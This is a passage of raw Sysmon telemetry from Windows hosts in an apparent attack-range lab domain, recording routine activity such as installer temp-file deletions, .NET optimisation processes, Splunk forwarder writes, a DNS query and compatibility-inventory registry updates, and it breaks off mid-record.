AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF388CC86FB5BF347D.TMPMD5=3F4BCB82657A801A3C3351CF516ACFF2,SHA256=0C45F5BBBC369E3E46421612AC25774E70BC1DB26F56CD5AD24931E0FE20C63F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.033{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF855C758102BD9933.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000043307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.033{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF7B7B621DF893D3F5.TMPMD5=3F4BCB82657A801A3C3351CF516ACFF2,SHA256=0C45F5BBBC369E3E46421612AC25774E70BC1DB26F56CD5AD24931E0FE20C63F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.018{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\22b13e.msiMD5=AF9E178233F0AA84B0082AF57B871733,SHA256=EEDDA6B099C601546148F8A47921F00961199FB3AE9319C32A726A381B66C846,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.018{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5A-613B-1C09-00000000F001}2520C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.018{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5A-613B-1C09-00000000F001}2520C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000043303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.002{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFF51C8A8F193548A3.TMPMD5=A6C9492465BBAAD83033EC1D994986B5,SHA256=037C1E1A4BB6939F997FF5AC544C087C5F349BE5B6D791308D2AE7DD8AA3DE91,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.002{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF2EA00A7CE3138F8F.TMPMD5=B022A699890DB783D2203D1F9A0A9F0D,SHA256=9613AB0D7FAFC6CF523AD340A28D617E0E3064C303F4DA6653476F600FA77099,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013951Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:43.067{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=710D01E6C270A42A47B17DADAB124A17,SHA256=0FDA0D2B08069F16B5BE765CF4B74A40FCA00A7D5E3E8A1C5A7BAFE039E3F27E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.987{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5B-613B-2A09-00000000F001}5784C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.966{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6AD4D06658ACF827191F6936F9E7E4AC,SHA256=5811067D942F667AB6CEB0C2B8AC9AB96803C8F411FE9463C411A72655422BEE,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.932{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F5B-613B-2A09-00000000F001}5784C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.932{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5B-613B-2A09-00000000F001}5784C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 354300x800000000000000043948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.116{7BD73061-6F58-613B-1509-00000000F001}976C:\ProgramData\Microsoft\DefaultPackMSI\MainBootStrap.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59239-false13.107.6.158bingforbusiness.com443https 354300x800000000000000043947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.094{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local58454- 23542300x800000000000000043946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.852{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1B0E363C88B5B65C01153BD86633BC44,SHA256=D0DE67E040A4AB02D384A2CB91B056E25EC21D8D6B8E155A9204A25B876FCD3B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.852{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=FD10418F18E004842855AB784C290AD0,SHA256=8615117485F48A471EF6A4518DA5E9CE8D442F3038285A23B69F1451CAF42039,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.846{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=32C7FFF9DD13CA25CAEA9BDD8EBF7C25,SHA256=E561BB32C9E856BE979ABE0BF5145F087A892C1716F3FAEE02589FF7B5E6DBAF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.825{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=355C75701A1B0263F1D8CB992CC7F412,SHA256=A2C7FADF50DCCB0A913B3024C8F797318C4FC3FE4891E5996797BD95AC5A3B2C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.790{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=90D10953DEEA7319E5B4A7136B691A1B,SHA256=C95BD29808FCEB1A8BD189322FA550451859F11CF4149E5A0A0996795A7B274D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.790{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0105BB20E49F4A0B7B66D03AED31782B,SHA256=8B96436D5FF6AE744BB0D3698F214116A4FD8E7996012F55B74B9F298C0E7488,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.627{7BD73061-65B2-613B-1600-00000000F001}12966968C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-2109-00000000F001}6344C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+8d212|C:\Windows\system32\wbem\wmiprvsd.dll+8dfd1|C:\Windows\system32\wbem\wmiprvsd.dll+3b42f|C:\Windows\system32\wbem\wmiprvsd.dll+d4be|C:\Windows\system32\wbem\wbemcore.dll+2af4f|C:\Windows\system32\wbem\wbemcore.dll+22adf|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.627{7BD73061-65B2-613B-1600-00000000F001}12966968C:\Windows\system32\svchost.exe{7BD73061-6F5A-613B-2109-00000000F001}6344C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+8d212|C:\Windows\system32\wbem\wmiprvsd.dll+8dfd1|C:\Windows\system32\wbem\wmiprvsd.dll+3b42f|C:\Windows\system32\wbem\wmiprvsd.dll+d4be|C:\Windows\system32\wbem\wbemcore.dll+2af4f|C:\Windows\system32\wbem\wbemcore.dll+22adf|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.596{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F5B-613B-2909-00000000F001}528C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.565{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F5B-613B-2909-00000000F001}528C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.565{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5B-613B-2909-00000000F001}528C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000043935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.533{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6E01-613B-E106-00000000F001}7104C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000043934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:43.487{7BD73061-6F5A-613B-2009-00000000F001}7072C:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exeHKLM\System\CurrentControlSet\Services\EventLog\Application\MicrosoftSearchInBing\EventMessageFileC:\Windows\Microsoft.NET\Framework\v4.0.30319\EventLogMessages.dll 10341000x800000000000000043933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.455{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F5B-613B-2809-00000000F001}6360C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.440{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}6360C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:43.440{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}6360C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000043930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.424{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\onedrivesetup.ex|13fa51f7fa101eb7\BinProductVersion18.151.729.13 13241300x800000000000000043929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.424{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\onedrivesetup.ex|13fa51f7fa101eb7\LinkDate09/17/2018 17:44:14 13241300x800000000000000043928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.424{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\onedrivesetup.ex|13fa51f7fa101eb7\Publishermicrosoft corporation 13241300x800000000000000043927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.424{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\onedrivesetup.ex|13fa51f7fa101eb7\LowerCaseLongPathc:\program files\microsoft office\root\integration\addons\onedrivesetup.exe 13241300x800000000000000043926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.424{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\integrator.exe|1b5d0d4b4f0be95e\BinProductVersion16.0.13801.20476 13241300x800000000000000043925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.424{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\integrator.exe|1b5d0d4b4f0be95e\LinkDate04/07/2021 00:46:49 13241300x800000000000000043924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.424{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\integrator.exe|1b5d0d4b4f0be95e\Publishermicrosoft corporation 13241300x800000000000000043923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.424{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\integrator.exe|1b5d0d4b4f0be95e\LowerCaseLongPathc:\program files\microsoft office\root\integration\integrator.exe 13241300x800000000000000043922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.424{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplication\00000cddd4f6c8457d2dbf627c52eea8535700000000\PublisherMicrosoft Corporation 10341000x800000000000000043921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 